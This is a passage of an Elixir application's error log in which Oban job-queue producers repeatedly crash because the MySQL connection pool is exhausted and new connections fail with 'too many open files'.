    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:06:20.240559Z], limit: 5, uuid: "ec6e0321-61da-4961-b9a4-31c0d42c6b88", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:20.240565Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46003>, refresh_timer: #Reference<0.2525715032.1077673987.21656>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:06:20.240484Z], limit: 50, uuid: "798bc7ce-c753-41a5-b992-6a9a8fa2f0b5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:20.240490Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.158061>, refresh_timer: #Reference<0.2525715032.1077673987.21653>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:06:20.240571Z], limit: 20, uuid: "711f4adb-d3ae-474b-92cf-59d840e4c2ca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:20.240578Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46002>, refresh_timer: #Reference<0.2525715032.1068498948.45988>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:06:20.240062Z], limit: 5, uuid: "b067b25e-3115-4c7e-b242-2b0e79779acd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:20.240068Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.158060>, refresh_timer: #Reference<0.2525715032.1099431938.45930>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:06:20.240211Z], limit: 3, uuid: "c2117d3e-007d-471e-9f61-fc35e62f151d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:20.240216Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.158059>, refresh_timer: #Reference<0.2525715032.1121189889.158056>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:32.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:06:20.239471Z], limit: 10, uuid: "47819047-4c9d-4f77-b110-d9ce7814aca1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:20.239477Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.158058>, refresh_timer: #Reference<0.2525715032.1121189889.158046>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:34.880000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:36.134000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:36.341000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:37.894000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:40.470000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:06:32.238651Z], limit: 5, uuid: "3a74f389-2fc3-4bc3-9266-46f4afcdde96", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:32.238657Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46325>, refresh_timer: #Reference<0.2525715032.1077673987.21790>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:06:32.239301Z], limit: 5, uuid: "5d94f516-84dd-4a41-ba5b-3191b82e91f5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:32.239306Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46321>, refresh_timer: #Reference<0.2525715032.1068498948.46275>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:06:32.241081Z], limit: 10, uuid: "f85eb95a-a430-42dc-880f-e7dcb09fdda0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:32.241086Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46320>, refresh_timer: #Reference<0.2525715032.1068498948.46312>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

